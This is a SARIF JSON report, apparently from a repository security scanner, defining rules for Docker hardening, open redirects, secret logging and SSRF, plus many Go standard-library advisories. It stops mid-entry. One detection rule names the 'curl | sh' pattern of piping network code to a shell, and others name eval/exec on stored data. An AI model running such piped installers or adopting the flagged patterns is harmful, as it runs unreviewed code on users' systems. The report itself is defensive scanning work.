{"version": "2.1.0", "$schema": "https://json.schemastore.org/sarif-2.1.0.json", "runs": [{"tool": {"driver": {"name": "Repobility", "informationUri": "https://repobility.com", "rules": [{"id": "GHSA-2j2x-hqr9-3h42", "name": "react-router: GHSA-2j2x-hqr9-3h42", "shortDescription": {"text": "react-router: GHSA-2j2x-hqr9-3h42"}, "fullDescription": {"text": "React Router's same-origin redirect with path starting // causes open redirect via protocol-relative URL reinterpretation"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "medium", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "DKR001", "name": "Docker final stage has no non-root USER", "shortDescription": {"text": "Docker final stage has no non-root USER"}, "fullDescription": {"text": "Docker images run as root unless the image or Dockerfile switches to a non-root user."}, "properties": {"scanner": "repobility-docker", "category": "docker", "severity": "medium", "confidence": 0.82, "cwe": "", "owasp": ""}}, {"id": "DKR007", "name": "Docker build context has no .dockerignore", "shortDescription": {"text": "Docker build context has no .dockerignore"}, "fullDescription": {"text": "Without .dockerignore, build context can include source history, local env files, dependencies, and generated artifacts."}, "properties": {"scanner": "repobility-docker", "category": "docker", "severity": "medium", "confidence": 0.9, "cwe": "", "owasp": ""}}, {"id": "DKR002", "name": "Dockerfile base image has no explicit tag", "shortDescription": {"text": "Dockerfile base image has no explicit tag"}, "fullDescription": {"text": "Images without explicit tags resolve to a mutable default tag, which weakens reproducibility and review."}, "properties": {"scanner": "repobility-docker", "category": "docker", "severity": "medium", "confidence": 0.9, "cwe": "", "owasp": ""}}, {"id": "SEC046", "name": "[SEC046] Client-side open redirect \u2014 window.location = server-supplied URL: Assigning window.location from a server-supp", "shortDescription": {"text": "[SEC046] Client-side open redirect \u2014 window.location = server-supplied URL: Assigning window.location from a server-supplied URL trusts the server endpoint to never return a hostile destination. If that endpoint is ever subverted (compromis"}, "fullDescription": {"text": "Validate the URL is same-origin or on an explicit allowlist before assignment:\n  const u = new URL(serverUrl, location.href);\n  if (u.origin !== location.origin && !ALLOWED.includes(u.host)) return;\n  location.assign(u);\nEven better: have the server return a path (/checkout/done) instead of a full URL, and only allow same-origin navigation."}, "properties": {"scanner": "repobility-threat-engine", "category": "open_redirect", "severity": "medium", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "SEC119", "name": "[SEC119] World-writable / world-readable file permissions: World-writable files let any local user (or container neighbo", "shortDescription": {"text": "[SEC119] World-writable / world-readable file permissions: World-writable files let any local user (or container neighbor) tamper with data; world-readable files leak secrets."}, "fullDescription": {"text": "Use 0600 (owner rw only) for secrets, 0644 for general files, 0700 for directories with secrets. Java: `setReadable(true, true)` (owner-only)."}, "properties": {"scanner": "repobility-threat-engine", "category": "security", "severity": "medium", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "SEC107", "name": "[SEC107] Weak TLS version requested (TLSv1.0, TLSv1.1, SSLv3, SSLv2): TLS 1.0 and 1.1 were deprecated by IETF in 2021 (R", "shortDescription": {"text": "[SEC107] Weak TLS version requested (TLSv1.0, TLSv1.1, SSLv3, SSLv2): TLS 1.0 and 1.1 were deprecated by IETF in 2021 (RFC 8996). Most browsers no longer support them. Code requesting these protocols is talking to an attacker-controllable d"}, "fullDescription": {"text": "Use TLSv1.2 minimum, TLSv1.3 preferred. Java: `SSLContext.getInstance(\"TLSv1.2\")`. Python: `ssl.PROTOCOL_TLS_CLIENT` + `MinimumVersion = TLSVersion.TLSv1_2`. Go: `MinVersion: tls.VersionTLS12`."}, "properties": {"scanner": "repobility-threat-engine", "category": "crypto", "severity": "medium", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "SEC091", "name": "[SEC091] Go: net/http server without timeouts: HTTP server without ReadHeaderTimeout/ReadTimeout/WriteTimeout is vulnera", "shortDescription": {"text": "[SEC091] Go: net/http server without timeouts: HTTP server without ReadHeaderTimeout/ReadTimeout/WriteTimeout is vulnerable to Slowloris. Ported from gosec G112 + G114 (Apache-2.0)."}, "fullDescription": {"text": "Construct `&http.Server{Addr: ..., ReadHeaderTimeout: 5*time.Second, ReadTimeout: 10*time.Second, WriteTimeout: 30*time.Second}`."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "medium", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "ERR002", "name": "[ERR002] Empty Catch Block: Empty catch blocks hide errors.", "shortDescription": {"text": "[ERR002] Empty Catch Block: Empty catch blocks hide errors."}, "fullDescription": {"text": "Log the error or rethrow it. Use console.error() at minimum."}, "properties": {"scanner": "repobility-threat-engine", "category": "error_handling", "severity": "medium", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "SEC045", "name": "[SEC045] eval()/exec() on stored or user-supplied data: eval() and exec() on data \u2014 even admin-stored data \u2014 is a latera", "shortDescription": {"text": "[SEC045] eval()/exec() on stored or user-supplied data: eval() and exec() on data \u2014 even admin-stored data \u2014 is a lateral-movement vector after any one credential compromise. Sandboxes (__builtins__ cleared) are escapable: attackers use obj"}, "fullDescription": {"text": "For literal data structures: use ast.literal_eval(text) \u2014 only parses literals, raises on code.\nFor formula evaluation: use asteval or simpleeval (purpose-built sandboxes with allow-lists).\nFor Odoo: use odoo.tools.safe_eval(expr, locals_dict, mode='exec').\nIf you genuinely need to execute admin-stored code: require explicit super-admin permission AND log every execution with a stack trace."}, "properties": {"scanner": "repobility-threat-engine", "category": "injection", "severity": "medium", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "AGT013", "name": "Agent auto-approve or skip-permissions mode is easy to enable", "shortDescription": {"text": "Agent auto-approve or skip-permissions mode is easy to enable"}, "fullDescription": {"text": "Codex/agent auto-approve, YOLO, or skip-permissions modes can be useful in isolated automation, but they remove the human checkpoint before command execution, network access, and file edits."}, "properties": {"scanner": "repobility-agent-runtime", "category": "quality", "severity": "medium", "confidence": 0.68, "cwe": "", "owasp": ""}}, {"id": "AGT007", "name": "localStorage write failures are swallowed silently", "shortDescription": {"text": "localStorage write failures are swallowed silently"}, "fullDescription": {"text": "localStorage quotas are small and writes can fail. Catching storage errors without a user-visible warning causes silent data loss when notes, images, or snapshots exceed quota."}, "properties": {"scanner": "repobility-agent-runtime", "category": "quality", "severity": "medium", "confidence": 0.8, "cwe": "", "owasp": ""}}, {"id": "AGT015", "name": "Remote install command pipes network code directly to a shell", "shortDescription": {"text": "Remote install command pipes network code directly to a shell"}, "fullDescription": {"text": "Agent helper projects often publish one-line installers. `curl | sh` style commands are convenient, but they bypass review unless the script is pinned, signed, or checksum-verified."}, "properties": {"scanner": "repobility-agent-runtime", "category": "dependency", "severity": "medium", "confidence": 0.7, "cwe": "", "owasp": ""}}, {"id": "DEPCUR-NPM", "name": "npm package `@vitejs/plugin-react` is 1 major version(s) behind (5.1.4 -> 6.0.2)", "shortDescription": {"text": "npm package `@vitejs/plugin-react` is 1 major version(s) behind (5.1.4 -> 6.0.2)"}, "fullDescription": {"text": "`@vitejs/plugin-react` is pinned/resolved at 5.1.4 but the latest stable release on the npm registry is 6.0.2 (1 major version(s) behind). Outdated dependencies accumulate unpatched bugs and make future security upgrades harder. This is the version-currency signal Dependabot version-update PRs raise."}, "properties": {"scanner": "repobility-dependency-currency", "category": "dependency", "severity": "medium", "confidence": 0.9, "cwe": "", "owasp": ""}}, {"id": "MINED111", "name": "Bare except continues silently", "shortDescription": {"text": "Bare except continues silently"}, "fullDescription": {"text": "Bare `except:` (or `except Exception:`) that runs code without re-raising or logging the exception. Hides real failures and makes bugs hard to diagnose."}, "properties": {"scanner": "repobility-ast-engine", "category": "quality", "severity": "medium", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "AIC004", "name": "Suspicious implementation file appears unreferenced", "shortDescription": {"text": "Suspicious implementation file appears unreferenced"}, "fullDescription": {"text": "A file created as a fixed/new/final/copy variant is not referenced by imports or path-like strings in the rest of the repository. This is a strong sign that an agent produced code beside the active application path."}, "properties": {"scanner": "repobility-ai-code-hygiene", "category": "quality", "severity": "medium", "confidence": 0.78, "cwe": "", "owasp": ""}}, {"id": "DKC010", "name": "Compose service lacks no-new-privileges hardening", "shortDescription": {"text": "Compose service lacks no-new-privileges hardening"}, "fullDescription": {"text": "no-new-privileges prevents processes from gaining additional privileges through setuid binaries or file capabilities."}, "properties": {"scanner": "repobility-docker", "category": "docker", "severity": "low", "confidence": 0.62, "cwe": "", "owasp": ""}}, {"id": "SEC132", "name": "[SEC132] String concat where the language has interpolation (AI style drift): String built by concatenation where the la", "shortDescription": {"text": "[SEC132] String concat where the language has interpolation (AI style drift): String built by concatenation where the language has cleaner interpolation (Python f-strings since 3.6, JS template literals since ES6). Not a vulnerability on it"}, "fullDescription": {"text": "Python: `f\"prefix {var} suffix\"`. JS/TS: `` `prefix ${var} suffix` ``. Add a lint rule (pyupgrade UP032, eslint prefer-template) so future PRs catch this automatically."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "low", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "ERR003", "name": "[ERR003] Ignored Error (Go): Ignoring error return values.", "shortDescription": {"text": "[ERR003] Ignored Error (Go): Ignoring error return values."}, "fullDescription": {"text": "Handle the error or use errcheck linter."}, "properties": {"scanner": "repobility-threat-engine", "category": "error_handling", "severity": "low", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "AIC003", "name": "Duplicated implementation block across source files", "shortDescription": {"text": "Duplicated implementation block across source files"}, "fullDescription": {"text": "Duplicated blocks are a common artifact when generated code is pasted or recreated instead of reused. They increase maintenance cost because every future bug fix must be found in multiple locations."}, "properties": {"scanner": "repobility-ai-code-hygiene", "category": "quality", "severity": "low", "confidence": 0.86, "cwe": "", "owasp": ""}}, {"id": "AIC002", "name": "Source file name looks like an AI patch artifact", "shortDescription": {"text": "Source file name looks like an AI patch artifact"}, "fullDescription": {"text": "Files named as final, fixed, copy, new, or backup are often temporary patch artifacts. They may be legitimate, but they deserve review before becoming production surface area."}, "properties": {"scanner": "repobility-ai-code-hygiene", "category": "quality", "severity": "low", "confidence": 0.62, "cwe": "", "owasp": ""}}, {"id": "MINED054", "name": "[MINED054] Ts As Any: Casting to any (as any) bypasses type checking entirely.", "shortDescription": {"text": "[MINED054] Ts As Any: Casting to any (as any) bypasses type checking entirely."}, "fullDescription": {"text": "Review and fix per the pattern semantics. See CWE-704 /  for context."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "info", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "MINED052", "name": "[MINED052] Ts Any Typed (and 4 more): Same pattern found in 4 additional files. Review if needed.", "shortDescription": {"text": "[MINED052] Ts Any Typed (and 4 more): Same pattern found in 4 additional files. Review if needed."}, "fullDescription": {"text": "Review and fix per the pattern semantics. See CWE-704 /  for context."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "info", "confidence": 0.2, "cwe": "", "owasp": ""}}, {"id": "MINED045", "name": "[MINED045] Ts Non Null Assertion: x! asserts not null - bypasses null checks - TypeError if wrong.", "shortDescription": {"text": "[MINED045] Ts Non Null Assertion: x! asserts not null - bypasses null checks - TypeError if wrong."}, "fullDescription": {"text": "Review and fix per the pattern semantics. See CWE-476 /  for context."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "info", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "MINED058", "name": "[MINED058] React Dangerously Set Html: dangerouslySetInnerHTML bypasses Reacts JSX escaping. Pair with DOMPurify or neve", "shortDescription": {"text": "[MINED058] React Dangerously Set Html: dangerouslySetInnerHTML bypasses Reacts JSX escaping. Pair with DOMPurify or never use with user data."}, "fullDescription": {"text": "Review and fix per the pattern semantics. See CWE-79 / A03:2021 for context."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "info", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "MINED044", "name": "[MINED044] Js Console Log Prod (and 2 more): Same pattern found in 2 additional files. Review if needed.", "shortDescription": {"text": "[MINED044] Js Console Log Prod (and 2 more): Same pattern found in 2 additional files. Review if needed."}, "fullDescription": {"text": "Review and fix per the pattern semantics. See CWE-532 /  for context."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "info", "confidence": 0.2, "cwe": "", "owasp": ""}}, {"id": "SEC001", "name": "[SEC001] Hardcoded Password: Hardcoded password found in source code.", "shortDescription": {"text": "[SEC001] Hardcoded Password: Hardcoded password found in source code."}, "fullDescription": {"text": "Use environment variables or a secrets manager."}, "properties": {"scanner": "repobility-threat-engine", "category": "credential_exposure", "severity": "info", "confidence": 0.15, "cwe": "", "owasp": ""}}, {"id": "MINED049", "name": "[MINED049] Print Pii: Logging password/token/email/ssn directly to stdout.", "shortDescription": {"text": "[MINED049] Print Pii: Logging password/token/email/ssn directly to stdout."}, "fullDescription": {"text": "Review and fix per the pattern semantics. See CWE-532 / A09:2021 for context."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "info", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "SEC020", "name": "[SEC020] Secret Printed to Logs (and 3 more): Same pattern found in 3 additional files. Review if needed.", "shortDescription": {"text": "[SEC020] Secret Printed to Logs (and 3 more): Same pattern found in 3 additional files. Review if needed."}, "fullDescription": {"text": "Log only redacted, hashed, or last-four-style metadata. Rotate any secret that may have reached logs."}, "properties": {"scanner": "repobility-threat-engine", "category": "credential_exposure", "severity": "info", "confidence": 0.2, "cwe": "", "owasp": ""}}, {"id": "SEC093", "name": "[SEC093] Go: exec.Command with non-literal (and 4 more): Same pattern found in 4 additional files. Review if needed.", "shortDescription": {"text": "[SEC093] Go: exec.Command with non-literal (and 4 more): Same pattern found in 4 additional files. Review if needed."}, "fullDescription": {"text": "Use a constant command name and validate args via a whitelist."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "info", "confidence": 0.2, "cwe": "", "owasp": ""}}, {"id": "MINED071", "name": "[MINED071] Go Panic Call: panic() crashes the process. Should return error in most cases.", "shortDescription": {"text": "[MINED071] Go Panic Call: panic() crashes the process. Should return error in most cases."}, "fullDescription": {"text": "Review and fix per the pattern semantics. See CWE-755 /  for context."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "info", "confidence": 1.0, "cwe": "", "owasp": ""}}, {"id": "SEC128", "name": "[SEC128] Async function without await \u2014 fire-and-forget Promise (AI mistake) (and 4 more): Same pattern found in 4 addit", "shortDescription": {"text": "[SEC128] Async function without await \u2014 fire-and-forget Promise (AI mistake) (and 4 more): Same pattern found in 4 additional files. Review if needed."}, "fullDescription": {"text": "Add `await` before each async call, or chain with `.then`. If you intentionally want fire-and-forget, prefix with `void` (TS) or assign to `_` (Python with `asyncio.create_task`) to make the intent explicit and survive lint."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "info", "confidence": 0.2, "cwe": "", "owasp": ""}}, {"id": "SEC085", "name": "[SEC085] JS: child_process.exec with non-literal (and 5 more): Same pattern found in 5 additional files. Review if neede", "shortDescription": {"text": "[SEC085] JS: child_process.exec with non-literal (and 5 more): Same pattern found in 5 additional files. Review if needed."}, "fullDescription": {"text": "Use execFile / spawn with separate args array; never pass shell strings."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "info", "confidence": 0.2, "cwe": "", "owasp": ""}}, {"id": "MINED060", "name": "[MINED060] Go Context No Cancel (and 29 more): Same pattern found in 29 additional files. Review if needed.", "shortDescription": {"text": "[MINED060] Go Context No Cancel (and 29 more): Same pattern found in 29 additional files. Review if needed."}, "fullDescription": {"text": "Review and fix per the pattern semantics. See CWE-401 /  for context."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "info", "confidence": 0.2, "cwe": "", "owasp": ""}}, {"id": "MINED043", "name": "[MINED043] Http Not Https (and 4 more): Same pattern found in 4 additional files. Review if needed.", "shortDescription": {"text": "[MINED043] Http Not Https (and 4 more): Same pattern found in 4 additional files. Review if needed."}, "fullDescription": {"text": "Review and fix per the pattern semantics. See CWE-319 / A02:2021 for context."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "info", "confidence": 0.2, "cwe": "", "owasp": ""}}, {"id": "SEC029", "name": "[SEC029] Server-Side Request Forgery (SSRF) \u2014 outbound HTTP from user input (and 11 more): Same pattern found in 11 addi", "shortDescription": {"text": "[SEC029] Server-Side Request Forgery (SSRF) \u2014 outbound HTTP from user input (and 11 more): Same pattern found in 11 additional files. Review if needed."}, "fullDescription": {"text": "Validate the URL against an allowlist BEFORE fetching:\n  ALLOWED = {'images.example.com', 'cdn.example.com'}\n  host = urlparse(url).hostname\n  if host not in ALLOWED: abort(400)\nOr use a server-side proxy (Imgproxy / serve-files-only-from-S3) that isolates outbound network access from the request handler.\nBlock private CIDRs explicitly: 10/8, 172.16/12, 192.168/16, 169.254/16."}, "properties": {"scanner": "repobility-threat-engine", "category": "ssrf", "severity": "info", "confidence": 0.2, "cwe": "", "owasp": ""}}, {"id": "MINED016", "name": "[MINED016] Go Error Ignored (and 8 more): Same pattern found in 8 additional files. Review if needed.", "shortDescription": {"text": "[MINED016] Go Error Ignored (and 8 more): Same pattern found in 8 additional files. Review if needed."}, "fullDescription": {"text": "Review and fix per the pattern semantics. See CWE-754 /  for context."}, "properties": {"scanner": "repobility-threat-engine", "category": "quality", "severity": "info", "confidence": 0.2, "cwe": "", "owasp": ""}}, {"id": "JRN009", "name": "Secret-like setting is echoed into a password input value", "shortDescription": {"text": "Secret-like setting is echoed into a password input value"}, "fullDescription": {"text": "Settings screens sometimes render API keys, tokens, or passwords back into HTML/JSX password fields. That still exposes the secret to page source, browser extensions, screenshots, and DOM scraping."}, "properties": {"scanner": "repobility-journey-contract", "category": "auth", "severity": "high", "confidence": 0.83, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5039", "name": "stdlib: GO-2026-5039", "shortDescription": {"text": "stdlib: GO-2026-5039"}, "fullDescription": {"text": "Arbitrary inputs are included in errors without any escaping in net/textproto"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5038", "name": "stdlib: GO-2026-5038", "shortDescription": {"text": "stdlib: GO-2026-5038"}, "fullDescription": {"text": "Quadratic complexity in WordDecoder.DecodeHeader in mime"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-5037", "name": "stdlib: GO-2026-5037", "shortDescription": {"text": "stdlib: GO-2026-5037"}, "fullDescription": {"text": "Inefficient candidate hostname parsing in crypto/x509"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4986", "name": "stdlib: GO-2026-4986", "shortDescription": {"text": "stdlib: GO-2026-4986"}, "fullDescription": {"text": "Quadratic string concatentation in consumeComment in net/mail"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4982", "name": "stdlib: GO-2026-4982", "shortDescription": {"text": "stdlib: GO-2026-4982"}, "fullDescription": {"text": "Bypass of meta content URL escaping causes XSS in html/template"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4981", "name": "stdlib: GO-2026-4981", "shortDescription": {"text": "stdlib: GO-2026-4981"}, "fullDescription": {"text": "Crash when handling long CNAME response in net"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4980", "name": "stdlib: GO-2026-4980", "shortDescription": {"text": "stdlib: GO-2026-4980"}, "fullDescription": {"text": "Escaper bypass leads to XSS in html/template"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4977", "name": "stdlib: GO-2026-4977", "shortDescription": {"text": "stdlib: GO-2026-4977"}, "fullDescription": {"text": "Quadratic string concatenation in consumePhrase in net/mail"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4976", "name": "stdlib: GO-2026-4976", "shortDescription": {"text": "stdlib: GO-2026-4976"}, "fullDescription": {"text": "ReverseProxy forwards queries with more than urlmaxqueryparams parameters in net/http/httputil"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4971", "name": "stdlib: GO-2026-4971", "shortDescription": {"text": "stdlib: GO-2026-4971"}, "fullDescription": {"text": "Panic in Dial and LookupPort when handling NUL byte on Windows in net"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4947", "name": "stdlib: GO-2026-4947", "shortDescription": {"text": "stdlib: GO-2026-4947"}, "fullDescription": {"text": "Unexpected work during chain building in crypto/x509"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4946", "name": "stdlib: GO-2026-4946", "shortDescription": {"text": "stdlib: GO-2026-4946"}, "fullDescription": {"text": "Inefficient policy validation in crypto/x509"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4918", "name": "stdlib: GO-2026-4918", "shortDescription": {"text": "stdlib: GO-2026-4918"}, "fullDescription": {"text": "Infinite loop in HTTP/2 transport when given bad SETTINGS_MAX_FRAME_SIZE in net/http/internal/http2 in golang.org/x/net"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4870", "name": "stdlib: GO-2026-4870", "shortDescription": {"text": "stdlib: GO-2026-4870"}, "fullDescription": {"text": "Unauthenticated TLS 1.3 KeyUpdate record can cause persistent connection retention and DoS in crypto/tls"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4869", "name": "stdlib: GO-2026-4869", "shortDescription": {"text": "stdlib: GO-2026-4869"}, "fullDescription": {"text": "Unbounded allocation for old GNU sparse in archive/tar"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4865", "name": "stdlib: GO-2026-4865", "shortDescription": {"text": "stdlib: GO-2026-4865"}, "fullDescription": {"text": "JsBraceDepth Context Tracking Bugs (XSS) in html/template"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4864", "name": "stdlib: GO-2026-4864", "shortDescription": {"text": "stdlib: GO-2026-4864"}, "fullDescription": {"text": "TOCTOU permits root escape on Linux via Root.Chmod in os in internal/syscall/unix"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4603", "name": "stdlib: GO-2026-4603", "shortDescription": {"text": "stdlib: GO-2026-4603"}, "fullDescription": {"text": "URLs in meta content attribute actions are not escaped in html/template"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4602", "name": "stdlib: GO-2026-4602", "shortDescription": {"text": "stdlib: GO-2026-4602"}, "fullDescription": {"text": "FileInfo can escape from a Root in os"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4601", "name": "stdlib: GO-2026-4601", "shortDescription": {"text": "stdlib: GO-2026-4601"}, "fullDescription": {"text": "Incorrect parsing of IPv6 host literals in net/url"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4403", "name": "stdlib: GO-2026-4403", "shortDescription": {"text": "stdlib: GO-2026-4403"}, "fullDescription": {"text": "Improper access to parent directory of root in os"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4342", "name": "stdlib: GO-2026-4342", "shortDescription": {"text": "stdlib: GO-2026-4342"}, "fullDescription": {"text": "Excessive CPU consumption when building archive index in archive/zip"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4341", "name": "stdlib: GO-2026-4341", "shortDescription": {"text": "stdlib: GO-2026-4341"}, "fullDescription": {"text": "Memory exhaustion in query parameter parsing in net/url"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4340", "name": "stdlib: GO-2026-4340", "shortDescription": {"text": "stdlib: GO-2026-4340"}, "fullDescription": {"text": "Handshake messages may be processed at the incorrect encryption level in crypto/tls"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2026-4337", "name": "stdlib: GO-2026-4337", "shortDescription": {"text": "stdlib: GO-2026-4337"}, "fullDescription": {"text": "Unexpected session resumption in crypto/tls"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-4175", "name": "stdlib: GO-2025-4175", "shortDescription": {"text": "stdlib: GO-2025-4175"}, "fullDescription": {"text": "Improper application of excluded DNS name constraints when verifying wildcard names in crypto/x509"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-4155", "name": "stdlib: GO-2025-4155", "shortDescription": {"text": "stdlib: GO-2025-4155"}, "fullDescription": {"text": "Excessive resource consumption when printing error string for host certificate validation in crypto/x509"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-4015", "name": "stdlib: GO-2025-4015", "shortDescription": {"text": "stdlib: GO-2025-4015"}, "fullDescription": {"text": "Excessive CPU consumption in Reader.ReadResponse in net/textproto"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-4014", "name": "stdlib: GO-2025-4014", "shortDescription": {"text": "stdlib: GO-2025-4014"}, "fullDescription": {"text": "Unbounded allocation when parsing GNU sparse map in archive/tar"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-4013", "name": "stdlib: GO-2025-4013", "shortDescription": {"text": "stdlib: GO-2025-4013"}, "fullDescription": {"text": "Panic when validating certificates with DSA public keys in crypto/x509"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-4012", "name": "stdlib: GO-2025-4012", "shortDescription": {"text": "stdlib: GO-2025-4012"}, "fullDescription": {"text": "Lack of limit when parsing cookies can cause memory exhaustion in net/http"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-4011", "name": "stdlib: GO-2025-4011", "shortDescription": {"text": "stdlib: GO-2025-4011"}, "fullDescription": {"text": "Parsing DER payload can cause memory exhaustion in encoding/asn1"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-4010", "name": "stdlib: GO-2025-4010", "shortDescription": {"text": "stdlib: GO-2025-4010"}, "fullDescription": {"text": "Insufficient validation of bracketed IPv6 hostnames in net/url"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-4009", "name": "stdlib: GO-2025-4009", "shortDescription": {"text": "stdlib: GO-2025-4009"}, "fullDescription": {"text": "Quadratic complexity when parsing some invalid inputs in encoding/pem"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-4008", "name": "stdlib: GO-2025-4008", "shortDescription": {"text": "stdlib: GO-2025-4008"}, "fullDescription": {"text": "ALPN negotiation error contains attacker controlled information in crypto/tls"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-4007", "name": "stdlib: GO-2025-4007", "shortDescription": {"text": "stdlib: GO-2025-4007"}, "fullDescription": {"text": "Quadratic complexity when checking name constraints in crypto/x509"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-4006", "name": "stdlib: GO-2025-4006", "shortDescription": {"text": "stdlib: GO-2025-4006"}, "fullDescription": {"text": "Excessive CPU consumption in ParseAddress in net/mail"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": ""}}, {"id": "GO-2025-3956", "name": "stdlib: GO-2025-3956", "shortDescription": {"text": "stdlib: GO-2025-3956"}, "fullDescription": {"text": "Unexpected paths returned from LookPath in os/exec"}, "properties": {"scanner": "osv-scanner", "category": "dependency", "severity": "high", "confidence": 0.88, "cwe": "", "owasp": 